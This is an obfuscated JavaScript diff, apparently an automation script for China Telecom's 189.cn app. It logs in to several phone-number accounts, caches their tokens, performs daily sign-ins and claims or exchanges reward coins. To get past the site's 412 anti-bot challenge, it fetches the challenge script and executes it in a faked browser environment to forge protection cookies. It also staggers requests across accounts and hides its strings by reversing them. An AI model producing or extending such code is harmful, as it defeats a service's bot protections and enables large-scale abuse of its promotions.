+ "iv": _0x150775.enc.Utf8.parse(_0x423a3f)
+ }).toString(_0x150775.enc.Utf8);
+ }
+ function _0x592882() {
+ try {
+ _0x4c9506.writeFileSync(_0x15d9a8, JSON.stringify(_0x4f8ac1, null, 4), "8-ftu".split("").reverse().join(""));
+ } catch (_0x3fef2f) {
+ console.log("错出存缓存保".split("").reverse().join(""));
+ }
+ }
+ function _0x5c3daa() {
+ try {
+ _0x4f8ac1 = JSON.parse(_0x4c9506.readFileSync(_0x15d9a8, "8-ftu".split("").reverse().join("")));
+ } catch (_0x149e2f) {
+ console.log("存缓nekot个一建新 ,错出存缓取读".split("").reverse().join(""));
+ _0x592882();
+ }
+ }
+ let _0x1ae409 = 0,
+ _0x2668bb = 0;
+ function _0xebac22() {
+ {
+ _0x2668bb = 1;
+ process.on("SIGTERM", () => {
+ _0x2668bb = 2;
+ process.exit(0);
+ });
+ const _0x1990e8 = _0x7c8459.basename(process.argv[1]),
+ _0x45daf2 = ["bash", "timeout", "grep"];
+ let _0x2275af = ["ps afx"];
+ _0x2275af.push("grep " + _0x1990e8);
+ _0x2275af = _0x2275af.concat(_0x45daf2.map(_0x24fde1 => "grep -v \"" + _0x24fde1 + "\" ".split("").reverse().join("")));
+ _0x2275af.push("l- cw".split("").reverse().join(""));
+ const _0x1fce35 = _0x2275af.join("|"),
+ _0x290fca = () => {
+ _0x1a8673(_0x1fce35, (_0x2a6abb, _0x1d3b15, _0x2bdb23) => {
+ if (_0x2a6abb || _0x2bdb23) {
+ return;
+ }
+ _0x1ae409 = parseInt(_0x1d3b15.trim(), 10);
+ });
+ _0x2668bb == 1 && setTimeout(_0x290fca, 2000);
+ };
+ _0x290fca();
+ }
+ }
+ class _0x252e78 {
+ constructor() {
+ this.index = _0x1a907b.userIdx++;
+ this.name = "";
+ this.valid = false;
+ const _0x4c8c9 = {
+ "limit": 0
+ },
+ _0x220c3a = {
+ "Connection": "keep-alive"
+ },
+ _0xc0d89d = {
+ "retry": _0x4c8c9,
+ "timeout": _0x18914c,
+ "followRedirect": false,
+ "ignoreInvalidCookies": true,
+ "headers": _0x220c3a
+ };
+ this.got = _0x221366.extend(_0xc0d89d);
+ _0x2668bb == 0 && _0xebac22();
+ }
+ ["log"](_0x1b8189, _0x9c4426 = {}) {
+ var _0x1ac632 = "",
+ _0xad7cd9 = _0x1a907b.userCount.toString().length;
+ this.index && (_0x1ac632 += "[号账".split("").reverse().join("") + _0x1a907b.padStr(this.index, _0xad7cd9) + "]");
+ this.name && (_0x1ac632 += "[" + this.name.slice(0, 3) + "****".split("").reverse().join("") + this.name.slice(-4) + "]");
+ _0x1a907b.log(_0x1ac632 + _0x1b8189, _0x9c4426);
+ }
+ ["get_rscode"](_0x4681d6, _0x41b5cd, _0x4ecab9, _0x1ff39b) {
+ let _0x138011,
+ _0x17a8be = "\n null_function = function () {}\n content=\"" + _0x4681d6 + "\";\n tsID=\"" + _0x1ff39b + "\"\n delete __dirname \n delete __filename \n ActiveXObject = undefined;\n \n Window = null_function\n window = self = parent = top = globalThis;\n addEventListener = null_function\n \n attachEvent = null_function\n navigator = {userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36'}\n HTMLCollection = []\n HTMLCollection.length = 0\n div = {\n getElementsByTagName() {\n return HTMLCollection\n },\n innerHTML: '',\n \n }\n getAttribute = function () {\n if (arguments[0] == 'r') {\n return 'm'\n }\n }\n meta = {\n content: \"text/html; charset=utf-8\",\n http_Equiv: \"Content-Type\",\n id:tsID,\n getAttribute: function (arg) {\n if (arg === 'r') {\n return 'm'\n }\n },\n parentNode: {\n removeChild: function () {}\n }\n }\n getElementsByTagNameObj = {}\n metav={\n id:tsID,\n content:content,\n r:\"m\",\n getAttribute: function (arg) {\n if (arg === 'r') {\n return 'm'\n }\n },\n parentNode: {\n removeChild: null_function\n }\n }\n \n documentElement = {\n addEventListener: addEventListener\n }\n document = {\n characterSet: 'UTF-8',\n charset: 'UTF-8',\n createElement() {\n if (arguments[0] === 'div') {\n return div\n }\n return {}\n },\n getElementsByTagName: function (arg) {\n if (arg === 'script') {\n return {}\n }\n if (arg === 'base') {\n return {length: 0}\n }\n },\n documentElement: documentElement,\n addEventListener: addEventListener,\n attachEvent: attachEvent,\n getElementById: function () {\n if (arguments[0] === tsID) {\n return metav\n }\n if (arguments[0] == 'root-hammerhead-shadow-ui') {\n return null\n }\n return {}\n },\n appendChild:null_function,\n removeChild: null_function\n }\n location={\n \"href\": \"https://\",\n \"origin\": \"\",\n \"protocol\": \"\",\n \"host\": \"\",\n \"hostname\": \"\",\n \"port\": \"\",\n \"pathname\": \"\",\n \"search\": \"\",\n \"hash\": \"\"\n }\n //setTimeout = null_function\n setInterval = null_function\n " + _0x41b5cd + "\n " + _0x4ecab9 + "\n function getck() {\n return document.cookie\n }\n return {getck};\n ";
+ _0x138011 = 13;
+ const _0x16483e = new Function(_0x17a8be),
+ _0x26187b = _0x16483e();
+ var _0x16bc4c = 14;
+ const _0x5b8c01 = _0x26187b.getck();
+ _0x16bc4c = 10;
+ this.rsFun = _0x16483e;
+ this.getrsCk = _0x5b8c01;
+ return _0x16483e;
+ }
+ async ["parseCookies"](_0x1ece13, _0x3c1e28) {
+ {
+ let _0x4cba26 = {},
+ _0x2ea51f = _0x1ece13.split(";");
+ _0x2ea51f.forEach(_0x167de8 => {
+ _0x167de8 = _0x167de8.trim();
+ if (_0x167de8.includes("=")) {
+ let [_0x15b1dc, _0x59adc6] = _0x167de8.split("=", 2);
+ !_0x15b1dc.toLowerCase().includes("path") && !_0x15b1dc.toLowerCase().includes("seripxe".split("").reverse().join("")) && !_0x15b1dc.toLowerCase().includes("eruces".split("").reverse().join("")) && !_0x15b1dc.toLowerCase().includes("etisemas".split("").reverse().join("")) && (_0x4cba26[_0x15b1dc] = _0x59adc6);
+ }
+ });
+ if (_0x3c1e28) {
+ _0x4cba26.yiUIIlbdQT3fO = _0x3c1e28.split("=")[1];
+ }
+ return _0x4cba26;
+ }
+ }
+ async ["request"](_0x190a2b) {
+ {
+ let _0x25513b = _0x190a2b?.["ckvalue"] || "";
+ const _0xb9ee29 = ["ECONNRESET", "EADDRINUSE", "DNUOFTONE".split("").reverse().join(""), "EAI_AGAIN"],
+ _0x268e93 = ["TimeoutError"],
+ _0x45beb9 = ["EPROTO"],
+ _0x53d45c = [];
+ var _0x1983cd = null,
+ _0x3192a9 = 0,
+ _0x4dd0e7 = _0x190a2b.fn || _0x190a2b.url;
+ let _0x4a98af = _0x1a907b.get(_0x190a2b, "valid_code", _0x53d45c);
+ _0x190a2b.method = _0x190a2b?.["dohtem".split("").reverse().join("")]?.["esaCreppUot".split("").reverse().join("")]() || "TEG".split("").reverse().join("");
+ _0x190a2b?.["ckvalue"] && (_0x190a2b.headers = _0x190a2b?.["headers"] || {
+ "Cookie": "=Pf3TQdblIIUiy".split("").reverse().join("") + (_0x25513b.yiUIIlbdQT3fP || "") + "; yiUIIlbdQT3fO=" + (_0x25513b.yiUIIlbdQT3fO || "")
+ });
+ let _0x16d92d, _0x3dc0a8;
+ while (_0x3192a9 < _0x80a14f) {
+ try {
+ {
+ _0x3192a9++;
+ _0x16d92d = "";
+ _0x3dc0a8 = "";
+ let _0x194be3 = null,
+ _0x34816a = _0x190a2b?.["tuoemit".split("").reverse().join("")] || this.got?.["stluafed".split("").reverse().join("")]?.["options"]?.["timeout"]?.["request"] || _0x18914c,
+ _0x247d00 = false,
+ _0x57a0dd = Math.max(this.index - 2, 0),
+ _0x118618 = Math.min(Math.max(this.index - 3, 1), 3),
+ _0x5e0eab = Math.min(Math.max(this.index - 4, 1), 4),
+ _0x5003fd = _0x57a0dd * _0x118618 * _0x5e0eab * 400,
+ _0x177928 = _0x57a0dd * _0x118618 * _0x5e0eab * 1800,
+ _0x31d3fb = _0x5003fd + Math.floor(Math.random() * _0x177928),
+ _0x5845c2 = _0x1ae409 * (_0x1ae409 - 1) * 2000,
+ _0x2396f5 = (_0x1ae409 - 1) * (_0x1ae409 - 1) * 2000,
+ _0x5da990 = _0x5845c2 + Math.floor(Math.random() * _0x2396f5),
+ _0x4d75f1 = Math.max(_0x1a907b.userCount - 2, 0),
+ _0x529ee2 = Math.max(_0x1a907b.userCount - 3, 0),
+ _0x43dcc1 = _0x4d75f1 * 200,
+ _0x5873a4 = _0x529ee2 * 400,
+ _0x3a27f6 = _0x43dcc1 + Math.floor(Math.random() * _0x5873a4),
+ _0x2473ec = _0x31d3fb + _0x5da990 + _0x3a27f6;
+ await new Promise(async _0x1e79c1 => {
+ {
+ setTimeout(() => {
+ _0x247d00 = true;
+ _0x1e79c1();
+ }, _0x34816a);
+ var _0x22e3f1 = 9;
+ let _0xd1fef1 = _0x1e79c1?.["ckvalue"] || "";
+ _0x22e3f1 = 17;
+ _0x190a2b?.["ckvalue"] && (_0x190a2b.headers = _0x190a2b?.["sredaeh".split("").reverse().join("")] || {
+ "Cookie": "=Pf3TQdblIIUiy".split("").reverse().join("") + (_0xd1fef1.yiUIIlbdQT3fP || "") + "; yiUIIlbdQT3fO=" + (_0xd1fef1.yiUIIlbdQT3fO || "")
+ });
+ try {
+ var _0x301943 = 17;
+ const _0x51b7d4 = await this.got(_0x190a2b);
+ _0x301943 = "gcepbq".split("").reverse().join("");
+ _0x1983cd = _0x51b7d4;
+ } catch (_0x154715) {
+ if (_0x154715.response?.["statusCode"] == 412) {
+ {
+ const {
+ "contentCODE": _0x5516eb,
+ "tsCODE": _0x47e590,
+ "srcAttribute": _0x4b6a23,
+ "tsID": _0x3373ed
+ } = _0x1a907b.get(_0x154715, "resoultCode", _0x154715.response?.["statusCode"]);
+ var _0x2812fb = 4;
+ const _0x5e923a = {
+ "fn": "getrs",
+ "method": "get",
+ "url": "https://wappark.189.cn" + _0x4b6a23
+ };
+ _0x2812fb = 9;
+ let {
+ "result": _0x3ebf1f,
+ "statusCode": _0x2ead5e
+ } = await this.request(_0x5e923a);
+ var _0x376a46 = 6;
+ let _0x2ec177 = "";
+ _0x376a46 = 11;
+ if (_0x154715.response && _0x154715.response.headers) {
+ var _0x594dfa = 10;
+ const _0x5cc77d = _0x154715.response.headers["set-cookie"];
+ _0x594dfa = 13;
+ Array.isArray(_0x5cc77d) && (_0x2ec177 = _0x5cc77d.map(_0x259e52 => _0x259e52.split(";")[0]).join("; "));
+ }
+ this.get_rscode(_0x5516eb, _0x47e590, _0x3ebf1f, _0x3373ed);
+ var _0x3471a2 = 6;
+ let _0x411b9a = this.getrsCk;
+ _0x3471a2 = "chleng".split("").reverse().join("");
+ _0x411b9a = this.rsFun().getck();
+ _0xd1fef1 = await this.parseCookies(_0x411b9a, _0x2ec177);
+ if (_0xd1fef1) {
+ {
+ _0x190a2b.headers = {
+ "Cookie": "yiUIIlbdQT3fP=" + (_0xd1fef1.yiUIIlbdQT3fP || "") + "=Of3TQdblIIUiy ;".split("").reverse().join("") + (_0xd1fef1.yiUIIlbdQT3fO || "")
+ };
+ try {
+ let _0x1a0f23;
+ const _0x16f9e8 = await this.got(_0x190a2b);
+ _0x1a0f23 = 4;
+ _0x1983cd = _0x16f9e8;
+ } catch (_0x21ba32) {
+ _0x194be3 = _0x21ba32;
+ _0x1983cd = _0x21ba32.response;
+ _0x16d92d = _0x21ba32.response?.["code"] || "";
+ _0x3dc0a8 = _0x21ba32.response?.["name"] || "";
+ console.log(_0x16d92d, "deliaf yrteR".split("").reverse().join(""));
+ }
+ }
+ }
+ }
+ } else _0x194be3 = _0x154715, _0x1983cd = _0x154715.response, _0x16d92d = _0x154715.response?.["code"] || "", _0x3dc0a8 = _0x154715.response?.["name"] || "";
+ }
+ _0x1e79c1();
+ }
+ });
+ if (_0x247d00) this.log("[" + _0x4dd0e7 + "(时超求请]".split("").reverse().join("") + _0x34816a / 1000 + "第试重,)秒".split("").reverse().join("") + _0x3192a9 + "次");else {
+ if (_0x45beb9.includes(_0x16d92d)) {
+ this.log("[" + _0x4dd0e7 + "[误错求请]".split("").reverse().join("") + _0x16d92d + "[]".split("").reverse().join("") + _0x3dc0a8 + "]");
+ _0x194be3?.["message"] && console.log(_0x194be3.message);
+ break;
+ } else {
+ if (_0x268e93.includes(_0x3dc0a8)) this.log("[" + _0x4dd0e7 + "[误错求请]".split("").reverse().join("") + _0x16d92d + "][" + _0x3dc0a8 + "第试重,]".split("").reverse().join("") + _0x3192a9 + "次");else {
+ if (_0xb9ee29.includes(_0x16d92d)) this.log("[" + _0x4dd0e7 + "[误错求请]".split("").reverse().join("") + _0x16d92d + "][" + _0x3dc0a8 + "],重试第" + _0x3192a9 + "次");else {
+ {
+ if (_0x1983cd?.["edoCsutats".split("").reverse().join("")] == 412) break;
+ let _0x1ebbf7 = _0x1983cd?.["edoCsutats".split("").reverse().join("")] || "",
+ _0x359dc7 = _0x1ebbf7 / 100 | 0;
+ if (_0x1ebbf7) {
+ _0x359dc7 > 3 && !_0x4a98af.includes(_0x1ebbf7) && (_0x1ebbf7 ? this.log("[求请".split("").reverse().join("") + _0x4dd0e7 + "]返回[" + _0x1ebbf7 + "]") : this.log("请求[" + _0x4dd0e7 + "[误错]".split("").reverse().join("") + _0x16d92d + "][" + _0x3dc0a8 + "]"));
+ if (_0x359dc7 <= 4) break;
+ } else this.log("请求[" + _0x4dd0e7 + "]错误[" + _0x16d92d + "][" + _0x3dc0a8 + "]");
+ }
+ }
+ }
+ }
+ }
+ }
+ } catch (_0x1b27b0) {
+ _0x1b27b0.name == "rorrEtuoemiT".split("").reverse().join("") ? this.log("[" + _0x4dd0e7 + "第试重,时超求请]".split("").reverse().join("") + _0x3192a9 + "次") : this.log("[" + _0x4dd0e7 + "(误错求请]".split("").reverse().join("") + _0x1b27b0.message + "第试重,)".split("").reverse().join("") + _0x3192a9 + "次");
+ }
+ }
+ const _0x5c5b0c = {
+ "statusCode": _0x16d92d || -1,
+ "headers": null,
+ "result": null
+ };
+ if (_0x1983cd == null) return Promise.resolve(_0x5c5b0c);
+ let {
+ "statusCode": _0x253af7,
+ "headers": _0x40c367,
+ "body": _0x2369c1
+ } = _0x1983cd;
+ if (_0x2369c1) try {
+ _0x2369c1 = JSON.parse(_0x2369c1);
+ } catch {}
+ const _0x2fc606 = {
+ "statusCode": _0x253af7,
+ "headers": _0x40c367,
+ "result": _0x2369c1
+ };
+ return Promise.resolve(_0x2fc606);
+ }
+ }
+ }
+ let _0x2ecb9a = _0x252e78;
+ try {
+ let _0x345d48 = require("./LocalBasic");
+ _0x2ecb9a = _0x345d48;
+ } catch {}
+ let _0x42ec34 = new _0x2ecb9a(_0x1a907b);
+ class _0x173a90 extends _0x2ecb9a {
+ constructor(_0x8df40d) {
+ {
+ super(_0x1a907b);
+ let _0x547fe0 = _0x8df40d.split("#");
+ this.name = _0x547fe0[0];
+ this.passwd = _0x547fe0?.[1] || "";
+ this.uuid = [_0x1a907b.randomPattern("xxxxxxxx"), _0x1a907b.randomPattern("xxxx"), _0x1a907b.randomPattern("xxx4".split("").reverse().join("")), _0x1a907b.randomPattern("xxxx"), _0x1a907b.randomPattern("xxxxxxxxxxxx".split("").reverse().join(""))];
+ this.can_feed = true;
+ this.jml_tokenFlag = "";
+ this.mall_token = "";
+ const _0x25e486 = {
+ "Connection": "keep-alive",
+ "User-Agent": _0x932305,
+ "123456789": "987654321"
+ };
+ }
+ }
+ ["load_token"]() {
+ {
+ let _0x40ebac = false;
+ _0x4f8ac1[this.name] && (this.userId = _0x4f8ac1[this.name].userId, this.token = _0x4f8ac1[this.name].token, this.log("nekot存缓到取读".split("").reverse().join("")), _0x40ebac = true);
+ return _0x40ebac;
+ }
+ }
+ ["encode_phone"]() {
+ let _0x5c8413 = this.name.split("");
+ for (let _0x4fd72e in _0x5c8413) {
+ _0x5c8413[_0x4fd72e] = String.fromCharCode(_0x5c8413[_0x4fd72e].charCodeAt(0) + 2);
+ }
+ return _0x5c8413.join("");
+ }
+ ["encode_aes"](_0x3613e9) {
+ return _0x164663("SEA".split("").reverse().join(""), "ECB", "Pkcs7", _0x3613e9, _0x49b65a, 0);
+ }
+ ["get_mall_headers"]() {
+ return {
+ "Content-Type": "application/json;charset=utf-8",
+ "Accept": "application/json, text/javascript, */*; q=0.01",
+ "Authorization": this.mall_token ? "Bearer " + this.mall_token : "",
+ "X-Requested-With": "XMLHttpRequest"
+ };
+ }
+ async ["rsCk"](_0x17c90e, _0x2ba627) {
+ {
+ const _0x240960 = await rs(_0x17c90e, _0x2ba627);
+ console.log(_0x240960);
+ }
+ }
+ async ["login"](_0x5d1438 = {}) {
+ {
+ let _0x440c66 = false;
+ try {
+ let _0x57e9cb = _0x1a907b.time("yyyyMMddhhmmss"),
+ _0x1d01a9 = "iPhone 14 15.4." + this.uuid.slice(0, 2).join("") + this.name + _0x57e9cb + this.passwd + "0$$$0.",
+ _0x2f95b7 = {
+ "fn": "login",
+ "method": "post",
+ "url": "https://appgologin.189.cn:9031/login/client/userLoginNormal",
+ "json": {
+ "headerInfos": {
+ "code": "userLoginNormal",
+ "timestamp": _0x57e9cb,
+ "broadAccount": "",
+ "broadToken": "",
+ "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#",
+ "shopId": "20002",
+ "source": "110003",
+ "sourcePassword": "Sid98s",
+ "token": "",
+ "userLoginName": this.name
+ },
+ "content": {
+ "attach": "test",
+ "fieldData": {
+ "loginType": "4",
+ "accountType": "",
+ "loginAuthCipherAsymmertric": _0x253d66.encrypt(_0x1d01a9, "46esab".split("").reverse().join("")),
+ "deviceUid": this.uuid.slice(0, 3).join(""),
+ "phoneNum": this.encode_phone(),
+ "isChinatelecom": "0",
+ "systemVersion": "15.4.0",
+ "authentication": this.passwd
+ }
+ }
+ }
+ },
+ {
+ "result": _0x544bd4,
+ "statusCode": _0x16ceb3
+ } = await this.request(_0x2f95b7),
+ _0x166f37 = _0x1a907b.get(_0x544bd4?.["ataDesnopser".split("").reverse().join("")], "resultCode", -1);
+ if (_0x166f37 == "0000") {
+ {
+ let {
+ "userId": _0x3484c5 = "",
+ "token": _0x249f1a = ""
+ } = _0x544bd4?.["ataDesnopser".split("").reverse().join("")]?.["data"]?.["loginSuccessResult"] || {};
+ this.userId = _0x3484c5;
+ this.token = _0x249f1a;
+ this.log("功成录登码密务服用使".split("").reverse().join(""));
+ _0x4f8ac1[this.name] = {
+ "token": _0x249f1a,
+ "userId": _0x3484c5,
+ "t": Date.now()
+ };
+ _0x592882();
+ _0x440c66 = true;
+ }
+ } else {
+ {
+ let _0x5807dc = _0x544bd4?.["gsm".split("").reverse().join("")] || _0x544bd4?.["responseData"]?.["cseDtluser".split("").reverse().join("")] || _0x544bd4?.["headerInfos"]?.["nosaer".split("").reverse().join("")] || "";
+ this.log("服务密码登录失败[" + _0x166f37 + " :]".split("").reverse().join("") + _0x5807dc);
+ }
+ }
+ } catch (_0x143d05) {
+ console.log(_0x143d05);
+ } finally {
+ return _0x440c66;
+ }
+ }
+ }
+ async ["get_ticket"](_0x3407e5 = {}) {
+ let _0x3dbd0c = "";
+ try {
+ {
+ let _0x44f191 = "\n \n \n getSingle\n " + _0x1a907b.time("yyyyMMddhhmmss") + ">nekoT< \n>drowssaPecruoS/drowssaPecruoS< \n>ecruoS/<300011>ecruoS< \n>dIpohS/<20002>dIpohS< \n>epyTtneilC/<#xaM orP 41 enohPi#05lennahc#1.6.9#>epyTtneilC< \n>nekoTdaorB/<>nekoTdaorB< \n>tnuoccAdaorB/<>tnuoccAdaorB< \n>pmatsemiT/<".split("").reverse().join("") + this.token + "\n " + this.name + "\n \n \n test\n \n " + _0x164663("TripleDES", "CBC", "7sckP".split("").reverse().join(""), this.userId, _0x53d03f, _0x36ee2c) + ">tseuqeR/< \n>tnetnoC/< \n>ataDdleiF/< \n>lrU/<154b5384722686a4>lrU< \n>dItegraT/<".split("").reverse().join("");
+ const _0x425216 = {
+ "fn": "get_ticket",
+ "method": "post",
+ "url": "https://appgologin.189.cn:9031/map/clientXML",
+ "body": _0x44f191
+ };
+ let {
+ "result": _0x4d1ded,
+ "statusCode": _0x61cf7a
+ } = await this.request(_0x425216);
+ if (_0x4d1ded) {
+ let _0x1c2c31 = _0x4d1ded.match(new RegExp(">\\tekciT/\\<\\)+w\\(>\\tekciT<\\".split("").reverse().join(""), ""));
+ if (_0x1c2c31) {
+ let _0x2b9602 = _0x1c2c31[1];
+ _0x3dbd0c = _0x134cec("SEDelpirT".split("").reverse().join(""), "CBC", "Pkcs7", _0x2b9602, _0x53d03f, _0x36ee2c);
+ this.ticket = _0x3dbd0c;
+ }
+ }
+ !_0x3dbd0c && (!_0x3407e5.retry && (await this.login()) ? (_0x3407e5.retry = true, _0x3dbd0c = await this.get_ticket(_0x3407e5)) : (this.log("没有获取到ticket[" + _0x61cf7a + "]: "), _0x4d1ded && this.log(" :".split("").reverse().join("") + JSON.stringify(_0x4d1ded))));
+ }
+ } catch (_0x47f1aa) {
+ console.log(_0x47f1aa);
+ } finally {
+ return _0x3dbd0c;
+ }
+ }
+ async ["get_sign"](_0x1ed70f = {}) {
+ var _0x5f50b2 = 12;
+ let _0x1cb2f1 = this.rsCkk;
+ _0x5f50b2 = "ejjogf";
+ let _0x2d6db1 = false;
+ try {
+ const _0xc6d6af = {
+ "ticket": this.ticket
+ },
+ _0x438f3f = {
+ "ckvalue": _0x1cb2f1,
+ "fn": "login",
+ "method": "get",
+ "url": "https://wappark.189.cn/jt-sign/ssoHomLogin",
+ "searchParams": _0xc6d6af
+ };
+ let {
+ "result": _0x48a0a2,
+ "statusCode": _0x44aa12
+ } = await this.request(_0x438f3f),
+ _0x22cc7a = _0x1a907b.get(_0x48a0a2, "resoultCode", _0x44aa12);
+ _0x22cc7a == 0 ? (_0x2d6db1 = _0x48a0a2?.["ngis".split("").reverse().join("")], this.sign = _0x2d6db1, this.got = this.got.extend({
+ "headers": {
+ "sign": this.sign
+ }
+ })) : this.log("[败失ngis取获".split("").reverse().join("") + _0x22cc7a + "]: " + _0x48a0a2);
+ } catch (_0x15ece2) {
+ console.log(_0x15ece2);
+ } finally {
+ return _0x2d6db1;
+ }
+ }
+ async ["get_rsValue"](_0x293dc9 = {}) {
+ {
+ let _0x1bf8ad,
+ _0x494487 = false;
+ _0x1bf8ad = "dginpe".split("").reverse().join("");
+ try {
+ const _0xc2eba5 = {
+ "fn": "login",
+ "method": "get",
+ "url": _0x293dc9
+ };
+ let {
+ "result": _0x10ffd4,
+ "statusCode": _0x58dbfc,
+ "headers": _0x45a4fc
+ } = await this.request(_0xc2eba5);
+ const {
+ "contentCODE": _0x32104d,
+ "tsCODE": _0x204130,
+ "srcAttribute": _0x34e10d,
+ "tsID": _0x48a003
+ } = _0x1a907b.get(_0x10ffd4, "resoultCode", _0x58dbfc);
+ var _0x5711e3 = 14;
+ const _0x4a2e01 = {
+ "fn": "getrs",
+ "method": "get",
+ "url": "https://wappark.189.cn" + _0x34e10d
+ };
+ _0x5711e3 = 8;
+ let {
+ "result": _0x117052,
+ "statusCode": _0x316dce
+ } = await this.request(_0x4a2e01);
+ var _0x7c56cc = 3;
+ let _0x13bf8e = "";
+ _0x7c56cc = 0;
+ if (_0x45a4fc && _0x45a4fc["set-cookie"]) {
+ const _0x5e227b = _0x45a4fc["set-cookie"];
+ Array.isArray(_0x5e227b) && (_0x13bf8e = _0x5e227b.map(_0x13a5c4 => _0x13a5c4.split(";")[0]).join("; "));
+ }
+ this.get_rscode(_0x32104d, _0x204130, _0x117052, _0x48a003);
+ this.rsCkk = _0x13bf8e;
+ } catch (_0x127d3f) {
+ console.log(_0x127d3f);
+ } finally {
+ return _0x494487;
+ }
+ }
+ }
+ async ["get_rs"](_0x95f64d = {}) {
+ ck = await rs();
+ console.log(ck);
+ }
+ ["encrypt_para"](_0x52a9fe) {
+ let _0x5c49d9 = typeof _0x52a9fe == "gnirts".split("").reverse().join("") ? _0x52a9fe : JSON.stringify(_0x52a9fe);
+ return _0x40e903.encrypt(_0x5c49d9, "xeh".split("").reverse().join(""));
+ }
+ async ["userCoinInfo"](_0x24b368 = false, _0x3ed9c1 = {}) {
+ var _0x5458f0 = 2;
+ let _0x2f5510 = this.rsCkk;
+ _0x5458f0 = 2;
+ var _0x171c9f = 8;
+ let _0x3eafc4 = this.getrsCk;
+ _0x171c9f = 2;
+ _0x3eafc4 = this.rsFun().getck();
+ _0x2f5510 = await this.parseCookies(_0x3eafc4, _0x2f5510);
+ try {
+ {
+ const _0xf92b01 = {
+ "phone": this.name
+ };
+ let _0x981fd5 = {
+ "ckvalue": _0x2f5510,
+ "fn": "userCoinInfo",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/api/home/userCoinInfo",
+ "json": {
+ "para": this.encrypt_para(_0xf92b01)
+ }
+ },
+ {
+ "result": _0x1ee9d7,
+ "statusCode": _0x405522
+ } = await this.request(_0x981fd5),
+ _0x590219 = _0x1a907b.get(_0x1ee9d7, "edoCtluoser".split("").reverse().join(""), _0x405522);
+ if (_0x590219 == 0) {
+ this.coin = _0x1ee9d7?.["totalCoin"] || 0;
+ if (_0x24b368) {
+ {
+ const _0x3adef5 = {
+ "notify": true
+ };
+ this.log("金豆余额: " + this.coin, _0x3adef5);
+ if (_0x1ee9d7.amountEx) {
+ {
+ let _0x3bf5ea = _0x1a907b.time("yyyy-MM-dd", _0x1ee9d7.expireDate);
+ const _0x441a4c = {
+ "notify": true
+ };
+ _0x1a907b.log("-- [" + _0x3bf5ea + "期过将]".split("").reverse().join("") + _0x1ee9d7.amountEx + "金豆", _0x441a4c);
+ }
+ }
+ }
+ }
+ } else {
+ let _0x1ad282 = _0x1ee9d7?.["msg"] || _0x1ee9d7?.["gsMtluoser".split("").reverse().join("")] || _0x1ee9d7?.["error"] || "";
+ this.log("查询账户金豆余额错误[" + _0x590219 + "]: " + _0x1ad282);
+ }
+ }
+ } catch (_0xcf41e0) {
+ console.log(_0xcf41e0);
+ }
+ }
+ async ["userStatusInfo"](_0x5dea2e = {}) {
+ {
+ var _0x38b7d4 = 7;
+ let _0x5b8aeb = this.rsCkk;
+ _0x38b7d4 = 7;
+ let _0x43091c = this.getrsCk;
+ _0x43091c = this.rsFun().getck();
+ _0x5b8aeb = await this.parseCookies(_0x43091c, _0x5b8aeb);
+ try {
+ const _0x31d8c6 = {
+ "phone": this.name
+ };
+ let _0x360cee = {
+ "ckvalue": _0x5b8aeb,
+ "fn": "userStatusInfo",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/api/home/userStatusInfo",
+ "json": {
+ "para": this.encrypt_para(_0x31d8c6)
+ }
+ };
+ {
+ let {
+ "result": _0x29b4d0,
+ "statusCode": _0x593323
+ } = await this.request(_0x1a907b.copy(_0x360cee)),
+ _0x1d75ff = _0x1a907b.get(_0x29b4d0, "resoultCode", _0x593323);
+ if (_0x1d75ff == 0) {
+ let {
+ "isSign": _0x79ff71
+ } = _0x29b4d0?.["data"];
+ _0x79ff71 ? this.log("到签已天今".split("").reverse().join("")) : await this.doSign();
+ } else {
+ {
+ let _0x354719 = _0x29b4d0?.["msg"] || _0x29b4d0?.["resoultMsg"] || _0x29b4d0?.["rorre".split("").reverse().join("")] || "";
+ this.log("查询账户签到状态错误[" + _0x1d75ff + "]: " + _0x354719);
+ }
+ }
+ }
+ {
+ {
+ let {
+ "result": _0xa88b12,
+ "statusCode": _0x4030ee
+ } = await this.request(_0x1a907b.copy(_0x360cee)),
+ _0x5beae4 = _0x1a907b.get(_0xa88b12, "edoCtluoser".split("").reverse().join(""), _0x4030ee);
+ if (_0x5beae4 == 0) {
+ let {
+ "continuousDay": _0x2871e0,
+ "signDay": _0x972416,
+ "isSeven": _0x1869b5
+ } = _0xa88b12?.["data"];
+ this.log("到签已".split("").reverse().join("") + _0x972416 + "天, 连签" + _0x2871e0 + "天");
+ _0x1869b5 && (await this.exchangePrize());
+ } else {
+ let _0x113594 = _0xa88b12?.["msg"] || _0xa88b12?.["resoultMsg"] || _0xa88b12?.["error"] || "";
+ this.log("查询账户签到状态错误[" + _0x5beae4 + " :]".split("").reverse().join("") + _0x113594);
+ }
+ }
+ }
+ } catch (_0x5a3227) {
+ console.log(_0x5a3227);
+ }
+ }
+ }
+ async ["continueSignDays"](_0x420f05 = {}) {
+ {
+ let _0x4b17f = this.rsCkk,
+ _0x254853 = this.getrsCk;
+ _0x254853 = this.rsFun().getck();
+ _0x4b17f = await this.parseCookies(_0x254853, _0x4b17f);
+ try {
+ const _0x219e1a = {
+ "phone": this.name
+ };
+ let _0x250b6a = {
+ "ckvalue": _0x4b17f,
+ "fn": "continueSignDays",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/webSign/continueSignDays",
+ "json": {
+ "para": this.encrypt_para(_0x219e1a)
+ }
+ },
+ {
+ "result": _0x2141a4,
+ "statusCode": _0x56a2fc
+ } = await this.request(_0x250b6a),
+ _0x5bfa03 = _0x1a907b.get(_0x2141a4, "resoultCode", _0x56a2fc);
+ if (_0x5bfa03 == 0) {
+ {
+ this.log("抽奖连签天数: " + (_0x2141a4?.["continueSignDays"] || 0) + "天");
+ if (_0x2141a4?.["continueSignDays"] == 15) {
+ const _0x119e49 = {
+ "type": "15"
+ };
+ await this.exchangePrize(_0x119e49);
+ } else {
+ if (_0x2141a4?.["continueSignDays"] == 28) {
+ const _0x27728a = {
+ "type": "28"
+ };
+ await this.exchangePrize(_0x27728a);
+ }
+ }
+ }
+ } else {
+ {
+ let _0x581494 = _0x2141a4?.["msg"] || _0x2141a4?.["resoultMsg"] || _0x2141a4?.["rorre".split("").reverse().join("")] || "";
+ this.log("[误错数天签连奖抽询查".split("").reverse().join("") + _0x5bfa03 + "]: " + _0x581494);
+ }
+ }
